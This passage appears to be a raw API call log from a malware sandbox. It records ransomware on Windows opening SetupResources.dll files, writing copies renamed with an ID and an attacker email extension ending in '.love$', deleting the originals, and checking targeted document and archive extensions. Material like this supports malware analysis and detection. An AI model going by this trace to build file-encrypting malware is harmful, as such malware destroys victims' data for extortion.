lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x4960, lpOverlapped=0x0) returned 1 [0099.516] ReadFile (in: hFile=0x340, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0099.516] WriteFile (in: hFile=0x318, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0xf8, lpOverlapped=0x0) returned 1 [0099.517] SetEndOfFile (hFile=0x318) returned 1 [0099.517] CloseHandle (hObject=0x318) returned 1 [0099.518] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.518] SetEndOfFile (hFile=0x340) returned 1 [0099.520] CloseHandle (hObject=0x340) returned 1 [0099.520] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0099.520] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1 [0099.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0099.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0099.521] lstrlenW (lpString=".doc") returned 4 [0099.521] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0099.521] lstrlenW (lpString=".docx") returned 5 [0099.521] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0099.521] lstrlenW (lpString=".pdf") returned 4 [0099.521] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0099.521] lstrlenW (lpString=".xls") returned 4 [0099.521] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0099.521] lstrlenW (lpString=".xlsx") returned 5 [0099.521] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0099.521] lstrlenW (lpString=".ppt") returned 4 [0099.521] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0099.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0099.521] lstrlenW (lpString=".zip") returned 4 [0099.521] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0099.521] lstrlenW (lpString=".rar") returned 4 [0099.521] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0099.521] lstrlenW (lpString=".bz2") returned 4 [0099.521] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0099.521] lstrlenW (lpString=".7z") returned 3 [0099.521] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0099.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0099.521] lstrlenW (lpString=".dbf") returned 4 [0099.521] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0099.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0099.522] lstrlenW (lpString=".1cd") returned 4 [0099.522] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0099.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0099.522] lstrlenW (lpString=".jpg") returned 4 [0099.522] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0099.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0099.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0099.522] lstrlenW (lpString=".doc") returned 4 [0099.522] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0099.522] lstrlenW (lpString=".docx") returned 5 [0099.522] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0099.522] lstrlenW (lpString=".pdf") returned 4 [0099.522] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0099.522] lstrlenW (lpString=".xls") returned 4 [0099.522] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0099.522] lstrlenW (lpString=".xlsx") returned 5 [0099.522] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0099.522] lstrlenW (lpString=".ppt") returned 4 [0099.522] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0099.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0099.522] lstrlenW (lpString=".zip") returned 4 [0099.522] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0099.522] lstrlenW (lpString=".rar") returned 4 [0099.522] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0099.522] lstrlenW (lpString=".bz2") returned 4 [0099.522] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0099.523] lstrlenW (lpString=".7z") returned 3 [0099.523] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0099.523] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0099.523] lstrlenW (lpString=".dbf") returned 4 [0099.523] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0099.523] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0099.523] lstrlenW (lpString=".1cd") returned 4 [0099.523] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0099.523] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0099.523] lstrlenW (lpString=".jpg") returned 4 [0099.523] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0099.523] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0099.523] lstrlenW (lpString="SetupResources.dll") returned 18 [0099.523] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0099.541] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=18776) returned 1 [0099.541] CloseHandle (hObject=0x318) returned 1 [0099.541] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80 [0099.541] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0099.541] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0099.542] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.542] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.542] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0099.544] GetLastError () returned 0x0 [0099.544] ReadFile (in: hFile=0x318, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x4958, lpOverlapped=0x0) returned 1 [0099.596] WriteFile (in: hFile=0x344, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x4960, lpOverlapped=0x0) returned 1 [0099.597] ReadFile (in: hFile=0x318, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0099.597] WriteFile (in: hFile=0x344, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0xf8, lpOverlapped=0x0) returned 1 [0099.597] SetEndOfFile (hFile=0x344) returned 1 [0099.597] CloseHandle (hObject=0x344) returned 1 [0099.599] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.599] SetEndOfFile (hFile=0x318) returned 1 [0099.600] CloseHandle (hObject=0x318) returned 1 [0099.600] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0099.601] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1 [0099.601] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0099.601] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0099.601] lstrlenW (lpString=".doc") returned 4 [0099.601] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0099.601] lstrlenW (lpString=".docx") returned 5 [0099.601] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0099.601] lstrlenW (lpString=".pdf") returned 4 [0099.601] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0099.601] lstrlenW (lpString=".xls") returned 4 [0099.601] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0099.601] lstrlenW (lpString=".xlsx") returned 5 [0099.601] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0099.601] lstrlenW (lpString=".ppt") returned 4 [0099.601] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0099.601] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0099.601] lstrlenW (lpString=".zip") returned 4 [0099.601] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0099.601] lstrlenW (lpString=".rar") returned 4 [0099.601] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0099.601] lstrlenW (lpString=".bz2") returned 4 [0099.601] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0099.601] lstrlenW (lpString=".7z") returned 3 [0099.601] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0099.601] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0099.601] lstrlenW (lpString=".dbf") returned 4 [0099.601] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0099.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0099.602] lstrlenW (lpString=".1cd") returned 4 [0099.602] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0099.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0099.602] lstrlenW (lpString=".jpg") returned 4 [0099.602] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0099.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0099.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0099.602] lstrlenW (lpString=".doc") returned 4 [0099.602] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0099.602] lstrlenW (lpString=".docx") returned 5 [0099.602] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0099.602] lstrlenW (lpString=".pdf") returned 4 [0099.602] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0099.602] lstrlenW (lpString=".xls") returned 4 [0099.602] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0099.602] lstrlenW (lpString=".xlsx") returned 5 [0099.602] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0099.602] lstrlenW (lpString=".ppt") returned 4 [0099.602] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0099.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0099.602] lstrlenW (lpString=".zip") returned 4 [0099.602] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0099.602] lstrlenW (lpString=".rar") returned 4 [0099.602] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0099.602] lstrlenW (lpString=".bz2") returned 4 [0099.602] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0099.602] lstrlenW (lpString=".7z") returned 3 [0099.602] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0099.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0099.602] lstrlenW (lpString=".dbf") returned 4 [0099.602] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0099.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0099.602] lstrlenW (lpString=".1cd") returned 4 [0099.603] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0099.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0099.603] lstrlenW (lpString=".jpg") returned 4 [0099.603] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0099.603] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0099.603] lstrlenW (lpString="SetupResources.dll") returned 18 [0099.603] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0099.603] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=15704) returned 1 [0099.603] CloseHandle (hObject=0x318) returned 1 [0099.604] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80 [0099.604] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0099.604] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0099.604] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.604] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.604] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0099.691] GetLastError () returned 0x0 [0099.691] ReadFile (in: hFile=0x318, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x3d58, lpOverlapped=0x0) returned 1 [0099.743] WriteFile (in: hFile=0x358, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x3d60, lpOverlapped=0x0) returned 1 [0099.745] ReadFile (in: hFile=0x318, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0099.745] WriteFile (in: hFile=0x358, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0xf8, lpOverlapped=0x0) returned 1 [0099.745] SetEndOfFile (hFile=0x358) returned 1 [0099.745] CloseHandle (hObject=0x358) returned 1 [0099.746] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.746] SetEndOfFile (hFile=0x318) returned 1 [0099.747] CloseHandle (hObject=0x318) returned 1 [0099.747] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0099.748] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1 [0099.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0099.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0099.748] lstrlenW (lpString=".doc") returned 4 [0099.748] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0099.748] lstrlenW (lpString=".docx") returned 5 [0099.748] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0099.748] lstrlenW (lpString=".pdf") returned 4 [0099.748] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0099.748] lstrlenW (lpString=".xls") returned 4 [0099.748] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0099.748] lstrlenW (lpString=".xlsx") returned 5 [0099.748] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0099.748] lstrlenW (lpString=".ppt") returned 4 [0099.748] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0099.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0099.748] lstrlenW (lpString=".zip") returned 4 [0099.748] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0099.748] lstrlenW (lpString=".rar") returned 4 [0099.748] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0099.749] lstrlenW (lpString=".bz2") returned 4 [0099.749] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0099.749] lstrlenW (lpString=".7z") returned 3 [0099.749] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0099.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0099.749] lstrlenW (lpString=".dbf") returned 4 [0099.749] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0099.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0099.749] lstrlenW (lpString=".1cd") returned 4 [0099.749] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0099.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0099.749] lstrlenW (lpString=".jpg") returned 4 [0099.749] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0099.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0099.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0099.749] lstrlenW (lpString=".doc") returned 4 [0099.749] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0099.749] lstrlenW (lpString=".docx") returned 5 [0099.749] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0099.749] lstrlenW (lpString=".pdf") returned 4 [0099.749] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0099.749] lstrlenW (lpString=".xls") returned 4 [0099.749] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0099.749] lstrlenW (lpString=".xlsx") returned 5 [0099.749] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0099.749] lstrlenW (lpString=".ppt") returned 4 [0099.749] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0099.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0099.749] lstrlenW (lpString=".zip") returned 4 [0099.750] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0099.750] lstrlenW (lpString=".rar") returned 4 [0099.750] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0099.750] lstrlenW (lpString=".bz2") returned 4 [0099.750] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0099.750] lstrlenW (lpString=".7z") returned 3 [0099.750] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0099.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0099.750] lstrlenW (lpString=".dbf") returned 4 [0099.750] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0099.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0099.750] lstrlenW (lpString=".1cd") returned 4 [0099.750] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0099.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0099.750] lstrlenW (lpString=".jpg") returned 4 [0099.750] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0099.750] Sleep (dwMilliseconds=0x64) [0100.028] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0100.028] lstrlenW (lpString="SetupResources.dll") returned 18 [0100.028] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0100.388] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=19288) returned 1 [0100.388] CloseHandle (hObject=0x350) returned 1 [0100.389] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80 [0100.389] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.389] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0100.389] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.389] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.389] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0100.404] GetLastError () returned 0x0 [0100.404] ReadFile (in: hFile=0x350, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x4b58, lpOverlapped=0x0) returned 1 [0100.407] WriteFile (in: hFile=0x344, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0100.409] ReadFile (in: hFile=0x350, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.409] WriteFile (in: hFile=0x344, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0xf8, lpOverlapped=0x0) returned 1 [0100.409] SetEndOfFile (hFile=0x344) returned 1 [0100.409] CloseHandle (hObject=0x344) returned 1 [0100.411] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.411] SetEndOfFile (hFile=0x350) returned 1 [0100.412] CloseHandle (hObject=0x350) returned 1 [0100.412] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0100.413] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1 [0100.413] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0100.413] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0100.413] lstrlenW (lpString=".doc") returned 4 [0100.413] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.413] lstrlenW (lpString=".docx") returned 5 [0100.413] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0100.413] lstrlenW (lpString=".pdf") returned 4 [0100.413] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.413] lstrlenW (lpString=".xls") returned 4 [0100.414] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.414] lstrlenW (lpString=".xlsx") returned 5 [0100.414] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0100.414] lstrlenW (lpString=".ppt") returned 4 [0100.414] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.414] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0100.414] lstrlenW (lpString=".zip") returned 4 [0100.414] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.414] lstrlenW (lpString=".rar") returned 4 [0100.414] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.414] lstrlenW (lpString=".bz2") returned 4 [0100.414] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.414] lstrlenW 